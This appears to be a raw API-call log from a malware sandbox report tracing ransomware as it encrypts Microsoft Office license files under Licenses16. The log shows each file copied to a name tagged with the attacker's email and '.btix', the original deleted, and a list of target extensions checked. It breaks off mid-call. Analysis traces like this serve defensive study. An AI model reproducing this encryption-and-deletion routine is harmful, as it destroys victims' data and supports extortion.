CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0144.011] GetLastError () returned 0x0 [0144.011] ReadFile (in: hFile=0x508, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x1a8b, lpOverlapped=0x0) returned 1 [0144.013] WriteFile (in: hFile=0x560, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0144.014] ReadFile (in: hFile=0x508, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.014] WriteFile (in: hFile=0x560, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x100, lpOverlapped=0x0) returned 1 [0144.014] SetEndOfFile (hFile=0x560) returned 1 [0144.014] CloseHandle (hObject=0x560) returned 1 [0144.014] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.014] SetEndOfFile (hFile=0x508) returned 1 [0144.016] CloseHandle (hObject=0x508) returned 1 [0144.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 1 [0144.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0144.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0144.017] lstrlenW (lpString=".doc") returned 4 [0144.017] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.017] lstrlenW (lpString=".docx") returned 5 [0144.017] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.017] lstrlenW (lpString=".pdf") returned 4 [0144.018] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.018] lstrlenW (lpString=".xls") returned 4 [0144.018] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.018] lstrlenW (lpString=".xlsx") returned 5 [0144.018] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.018] lstrlenW (lpString=".ppt") returned 4 [0144.018] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0144.018] lstrlenW (lpString=".zip") returned 4 [0144.018] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.018] lstrlenW (lpString=".rar") returned 4 [0144.018] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.018] lstrlenW (lpString=".bz2") returned 4 [0144.018] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.018] lstrlenW (lpString=".7z") returned 3 [0144.018] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0144.018] lstrlenW (lpString=".dbf") returned 4 [0144.018] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0144.018] lstrlenW (lpString=".1cd") returned 4 [0144.018] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0144.018] lstrlenW (lpString=".jpg") returned 4 [0144.018] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0144.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0144.018] lstrlenW (lpString=".doc") returned 4 [0144.018] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.018] lstrlenW (lpString=".docx") returned 5 [0144.018] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.018] lstrlenW (lpString=".pdf") returned 4 [0144.018] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.018] lstrlenW (lpString=".xls") returned 4 [0144.018] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.018] lstrlenW (lpString=".xlsx") returned 5 [0144.019] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.019] lstrlenW (lpString=".ppt") returned 4 [0144.019] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0144.019] lstrlenW (lpString=".zip") returned 4 [0144.019] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.019] lstrlenW (lpString=".rar") returned 4 [0144.019] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.019] lstrlenW (lpString=".bz2") returned 4 [0144.019] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.019] lstrlenW (lpString=".7z") returned 3 [0144.019] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0144.019] lstrlenW (lpString=".dbf") returned 4 [0144.019] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0144.019] lstrlenW (lpString=".1cd") returned 4 [0144.019] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0144.019] lstrlenW (lpString=".jpg") returned 4 [0144.019] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.019] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0144.019] lstrlenW (lpString="ExcelVL_MAK-ul-oob.xrm-ms") returned 25 [0144.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0144.020] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=11576) returned 1 [0144.020] CloseHandle (hObject=0x508) returned 1 [0144.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 0x220 [0144.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0144.021] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.021] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0144.021] GetLastError () returned 0x0 [0144.021] ReadFile (in: hFile=0x508, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x2d38, lpOverlapped=0x0) returned 1 [0144.024] WriteFile (in: hFile=0x560, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0144.025] ReadFile (in: hFile=0x508, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.025] WriteFile (in: hFile=0x560, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x106, lpOverlapped=0x0) returned 1 [0144.025] SetEndOfFile (hFile=0x560) returned 1 [0144.025] CloseHandle (hObject=0x560) returned 1 [0144.025] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.025] SetEndOfFile (hFile=0x508) returned 1 [0144.028] CloseHandle (hObject=0x508) returned 1 [0144.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 1 [0144.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0144.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0144.029] lstrlenW (lpString=".doc") returned 4 [0144.029] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.029] lstrlenW (lpString=".docx") returned 5 [0144.029] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.029] lstrlenW (lpString=".pdf") returned 4 [0144.029] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.029] lstrlenW (lpString=".xls") returned 4 [0144.029] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.029] lstrlenW (lpString=".xlsx") returned 5 [0144.029] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.029] lstrlenW (lpString=".ppt") returned 4 [0144.029] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0144.029] lstrlenW (lpString=".zip") returned 4 [0144.029] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.029] lstrlenW (lpString=".rar") returned 4 [0144.029] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.029] lstrlenW (lpString=".bz2") returned 4 [0144.029] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.029] lstrlenW (lpString=".7z") returned 3 [0144.029] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0144.029] lstrlenW (lpString=".dbf") returned 4 [0144.029] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0144.029] lstrlenW (lpString=".1cd") returned 4 [0144.030] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0144.030] lstrlenW (lpString=".jpg") returned 4 [0144.030] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0144.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0144.030] lstrlenW (lpString=".doc") returned 4 [0144.030] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.030] lstrlenW (lpString=".docx") returned 5 [0144.030] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.030] lstrlenW (lpString=".pdf") returned 4 [0144.030] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.030] lstrlenW (lpString=".xls") returned 4 [0144.030] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.030] lstrlenW (lpString=".xlsx") returned 5 [0144.030] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.030] lstrlenW (lpString=".ppt") returned 4 [0144.030] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0144.030] lstrlenW (lpString=".zip") returned 4 [0144.030] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.030] lstrlenW (lpString=".rar") returned 4 [0144.030] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.030] lstrlenW (lpString=".bz2") returned 4 [0144.030] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.030] lstrlenW (lpString=".7z") returned 3 [0144.030] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0144.030] lstrlenW (lpString=".dbf") returned 4 [0144.030] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0144.030] lstrlenW (lpString=".1cd") returned 4 [0144.030] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0144.030] lstrlenW (lpString=".jpg") returned 4 [0144.030] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.031] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0144.031] lstrlenW (lpString="ExcelVL_MAK-ul-phn.xrm-ms") returned 25 [0144.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0144.031] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=19921) returned 1 [0144.031] CloseHandle (hObject=0x508) returned 1 [0144.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 0x220 [0144.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0144.032] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.032] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0144.033] GetLastError () returned 0x0 [0144.033] ReadFile (in: hFile=0x508, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x4dd1, lpOverlapped=0x0) returned 1 [0144.168] WriteFile (in: hFile=0x560, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0144.169] ReadFile (in: hFile=0x508, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.169] WriteFile (in: hFile=0x560, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x106, lpOverlapped=0x0) returned 1 [0144.169] SetEndOfFile (hFile=0x560) returned 1 [0144.418] CloseHandle (hObject=0x560) returned 1 [0144.418] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.418] SetEndOfFile (hFile=0x508) returned 1 [0144.420] CloseHandle (hObject=0x508) returned 1 [0144.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 1 [0144.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0144.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0144.940] lstrlenW (lpString=".doc") returned 4 [0144.940] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.940] lstrlenW (lpString=".docx") returned 5 [0144.940] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.940] lstrlenW (lpString=".pdf") returned 4 [0144.940] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.940] lstrlenW (lpString=".xls") returned 4 [0144.940] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.940] lstrlenW (lpString=".xlsx") returned 5 [0144.940] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.940] lstrlenW (lpString=".ppt") returned 4 [0144.940] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0144.940] lstrlenW (lpString=".zip") returned 4 [0144.940] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.940] lstrlenW (lpString=".rar") returned 4 [0144.940] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.940] lstrlenW (lpString=".bz2") returned 4 [0144.940] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.940] lstrlenW (lpString=".7z") returned 3 [0144.940] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0144.940] lstrlenW (lpString=".dbf") returned 4 [0144.940] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0144.940] lstrlenW (lpString=".1cd") returned 4 [0144.940] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0144.940] lstrlenW (lpString=".jpg") returned 4 [0144.940] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0144.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0144.941] lstrlenW (lpString=".doc") returned 4 [0144.941] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.941] lstrlenW (lpString=".docx") returned 5 [0144.941] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.941] lstrlenW (lpString=".pdf") returned 4 [0144.941] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.941] lstrlenW (lpString=".xls") returned 4 [0144.941] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.941] lstrlenW (lpString=".xlsx") returned 5 [0144.941] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.941] lstrlenW (lpString=".ppt") returned 4 [0144.941] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0144.941] lstrlenW (lpString=".zip") returned 4 [0144.941] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.941] lstrlenW (lpString=".rar") returned 4 [0144.941] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.941] lstrlenW (lpString=".bz2") returned 4 [0144.941] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.941] lstrlenW (lpString=".7z") returned 3 [0144.941] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0144.941] lstrlenW (lpString=".dbf") returned 4 [0144.941] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0144.941] lstrlenW (lpString=".1cd") returned 4 [0144.941] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0144.941] lstrlenW (lpString=".jpg") returned 4 [0144.941] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.942] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0144.942] lstrlenW (lpString="HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 32 [0144.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0145.001] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=10663) returned 1 [0145.001] CloseHandle (hObject=0x334) returned 1 [0145.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 0x220 [0145.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0145.486] SetFilePointerEx (in: hFile=0x564, 